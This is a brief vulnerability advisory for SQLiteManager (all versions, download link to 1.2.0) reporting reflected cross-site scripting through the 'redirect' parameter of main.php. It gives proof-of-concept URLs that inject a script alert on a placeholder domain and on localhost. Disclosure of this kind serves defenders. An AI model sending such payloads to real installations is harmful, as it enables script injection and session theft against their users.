########################################### # # SqLiteManager ( All Version ) Cross Site Scripting # # Found by : Hadi Kiamarsi # # Contact : hadikiamarsi@xxxxxxxxx # # Download : http://downloads.sourceforge.net/project/sqlitemanager/sqlitemanager/1.2.0/SQLiteManager-1.2.0.zip?use_mirror=heanet # ########################################### PoC : http://[www.example.com]/main.php?redirect=<script>alert('Hadi Kiamarsi')</script> http://[www.example.com]/[PATH]/main.php?redirect=<script>alert('Hadi Kiamarsi')</script> local Example : http://localhost/main.php?redirect=<script>alert('Hadi Kiamarsi')</script>
